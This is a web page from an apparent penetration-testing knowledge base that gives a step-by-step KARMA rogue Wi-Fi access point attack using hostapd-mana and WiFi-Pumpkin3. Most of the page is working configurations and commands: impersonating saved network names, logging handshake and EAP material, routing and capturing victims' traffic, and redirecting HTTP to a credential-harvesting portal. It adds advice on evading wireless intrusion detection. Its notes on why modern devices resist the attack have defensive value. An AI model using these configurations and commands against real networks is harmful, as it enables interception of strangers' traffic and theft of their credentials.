# KARMA Known-Network Attack with hostapd-mana

> Demonstrates KARMA attacks using hostapd-mana to impersonate trusted SSIDs, capturing client connections by responding to 802.11 probe requests.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/karma-known-network-attack
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

The KARMA attack exploits how wireless clients search for previously connected networks. When a device has auto-connect enabled for a saved network, it broadcasts probe requests containing the SSIDs from its Preferred Network List (PNL). A rogue access point running KARMA answers every probe request with a matching beacon, regardless of the actual SSID requested. The client sees what it believes is a known network and associates automatically, routing all traffic through the attacker.

This is particularly effective against clients that have connected to open networks in the past: airports, hotels, coffee shops. Those SSIDs sit in the PNL indefinitely on many systems, and KARMA exploits every one of them.

Prerequisites:

- Wireless adapter with AP mode support (monitor mode not strictly required for KARMA itself)
- hostapd-mana installed (Kali: `apt install hostapd-mana`)
- dnsmasq for DHCP
- Internet-connected interface for traffic forwarding

## How the KARMA Attack Works

802.11 clients maintain a list of previously connected networks. When Wi-Fi is enabled and no known network is in range, the client sends directed probe requests for each saved SSID: "Is `Starbucks_WiFi` here?" "Is `Hotel_Guest` here?"

A standard AP ignores probes that do not match its configured SSID. KARMA changes this. When `mana_loud=1` is set in hostapd-mana, the AP responds to every probe request with a beacon claiming to be that exact SSID. If the client probed for `Starbucks_WiFi`, the rogue AP responds as `Starbucks_WiFi`. The client sees a match, validates no further (open networks have no cryptographic verification), and connects.

For WPA-PSK networks in the PNL, KARMA still responds with a matching SSID. The four-way handshake will fail because the attacker does not know the PSK, but the captured handshake attempt can be cracked offline. Some clients fall back to open association after the WPA handshake fails, depending on OS and configuration.

## Setting Up hostapd-mana for KARMA

hostapd-mana is a modified hostapd with KARMA support built in. The key directives are `mana_loud` (respond to all probes) and `mana_macacl` (accept all client MAC addresses).

Create the KARMA configuration for open network exploitation:

```bash
cat > /tmp/karma.conf << 'EOF'
interface=wlan1
ssid=FreeWiFi
hw_mode=g
channel=6
auth_algs=1

# KARMA
mana_loud=1
mana_macacl=1
EOF
```

The `ssid` value is the default SSID the AP advertises when no probe is being answered. It does not limit KARMA, which responds to all probed SSIDs regardless of this value. Pick something generic that blends in.

`mana_loud=1` tells hostapd-mana to answer every probe request with a matching beacon. `mana_macacl=1` accepts associations from any MAC address, bypassing any whitelist filtering.

For capturing WPA handshake attempts from clients probing for WPA-PSK networks:

```bash
cat > /tmp/karma-wpa.conf << 'EOF'
interface=wlan1
ssid=FreeWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

# KARMA + WPE
mana_loud=1
mana_macacl=1
mana_wpe=1
EOF
```

`mana_wpe=1` enables the Wireless Pwnage Edition extensions, which log EAP credentials and WPA handshake material to `/tmp/hostapd-mana/` for offline cracking. The `wpa_passphrase` is arbitrary since the goal is capturing the client's handshake attempt, not completing authentication.

## DHCP and Network Setup

Assign a static IP to the AP interface and start dnsmasq before launching the rogue AP:

```bash
ip addr add 192.168.87.1/24 dev wlan1
ip link set wlan1 up
```

```bash
dnsmasq --interface=wlan1 --dhcp-range=192.168.87.2,192.168.87.254,255.255.255.0,12h --no-daemon
```

## Launching KARMA with hostapd-mana

Start the rogue AP:

```bash
hostapd-mana /tmp/karma.conf
# wlan1: interface state UNINITIALIZED->ENABLED
# wlan1: AP-ENABLED
# MANA: Responding to probe request for 'Starbucks_WiFi' from CC:DD:EE:FF:11:22
# MANA: Responding to probe request for 'Hotel_Guest' from CC:DD:EE:FF:11:22
# wlan1: AP-STA-CONNECTED CC:DD:EE:FF:11:22
```

The `MANA: Responding to probe request` lines show KARMA answering client probes. Each line reveals an SSID from that client's PNL. When `AP-STA-CONNECTED` appears, the client has associated and will receive a DHCP lease from dnsmasq.

## Traffic Interception After Association

Once clients connect, enable IP forwarding and NAT to route their traffic through your machine while capturing it:

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

Replace `eth0` with your internet-connected interface. All client traffic now passes through the attacker machine.

Capture credentials with a transparent proxy or packet capture:

```bash
tshark -i wlan1 -w karma-capture.pcap
```

For active credential harvesting, redirect HTTP traffic to a captive portal. This is covered in detail on the [Captive Portal Credential Harvesting](https://hackindex.io/platforms/wireless/exploitation/captive-portal-credential-harvesting) page. A quick approach using iptables to redirect all HTTP to a local portal:

```bash
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 8080
```

This sends all HTTP requests from connected clients to port 8080, where a captive portal or credential harvester is listening.

## WiFi-Pumpkin3 as Alternative

WiFi-Pumpkin3 (wifipumpkin3) bundles rogue AP setup, DHCP, DNS spoofing, and captive portal into one framework. It supports KARMA-style attacks through its built-in modules and is useful when you want a faster setup without manually configuring hostapd-mana, dnsmasq, and iptables separately.

```bash
wifipumpkin3
```

Inside the wifipumpkin3 shell, configure and launch the rogue AP:

```bash
set interface wlan1
set ssid FreeWiFi
set proxy noproxy
start
```

WiFi-Pumpkin3 handles DHCP, DNS, and traffic routing automatically. Use its built-in `captiveflask` plugin for portal-based credential capture, or enable the `sniffkin3` proxy for live traffic analysis. The trade-off is less granular control compared to manual hostapd-mana setups.

## OPSEC Considerations

> [!WARNING]
> KARMA is loud. The rogue AP responds to every probe request it hears, which means it broadcasts beacons for dozens of SSIDs simultaneously. Any wireless monitoring solution or even a basic spectrum analyzer will see an AP advertising an unreasonable number of networks from a single BSSID.

Additional detection vectors:

- Wireless IDS (WIDS) tools like Kismet flag APs that respond to every SSID as KARMA attacks specifically
- Clients may display the "wrong" network name after connecting: a user who expects to see "Hotel_Guest" might notice they connected to a different SSID if the AP races between probe responses
- Enterprise environments with 802.1X will not be fooled since KARMA cannot replicate RADIUS authentication

To reduce noise, consider targeting specific SSIDs instead of responding to all probes. hostapd-mana supports an SSID ACL file (`mana_ssid_acl`) that limits which SSIDs the AP will impersonate.

## When This Fails

Modern operating systems have significantly reduced KARMA's effectiveness:

- **iOS 8+ and Android 6+** stopped sending directed probe requests with SSIDs. Instead they use broadcast (null) probes, which KARMA cannot match to a specific network name.
- **MAC address randomization** (iOS 14+, Android 10+, Windows 10+) changes the client's MAC between probe cycles, making it harder to track and target specific devices.
- **Windows 10/11** no longer auto-connects to open networks that were previously connected unless explicitly configured to do so.
- **WPA3** networks in the PNL include Simultaneous Authentication of Equals (SAE), which prevents the rogue AP from completing the handshake without the actual passphrase. No handshake material is leaked.

KARMA remains effective against older devices, IoT hardware with outdated firmware, and any client that still sends directed probes. Some corporate laptops with managed Wi-Fi profiles still broadcast known SSIDs. In practice, a room full of targets will often include at least a few vulnerable clients.

When modern clients are the only targets, an evil twin attack against a specific visible network combined with deauthentication is more reliable than passive KARMA.

> [!CAUTION]
> This tool involves spoofing techniques. It is prohibited in the OSCP exam. Do not use during exam environments.

## References

- [sensepost/hostapd-mana on GitHub](https://github.com/sensepost/hostapd-mana) - Modified hostapd with KARMA, loud mode, and WPE credential harvesting support.
- [P0cL4bs/WiFi-Pumpkin3 on GitHub](https://github.com/P0cL4bs/wifipumpkin3) - Framework for rogue AP attacks with built-in captive portal, DHCP, and proxy modules.
- [IEEE 802.11 Working Group](https://www.ieee802.org/11/) - 802.11 standard reference covering probe request and beacon frame behavior.
- [SensePost: Improvements in Rogue AP Attacks](https://sensepost.com/blog/2015/improvements-in-rogue-ap-attacks-mana-1-2/) - SensePost research on KARMA and MANA improvements for rogue AP attacks.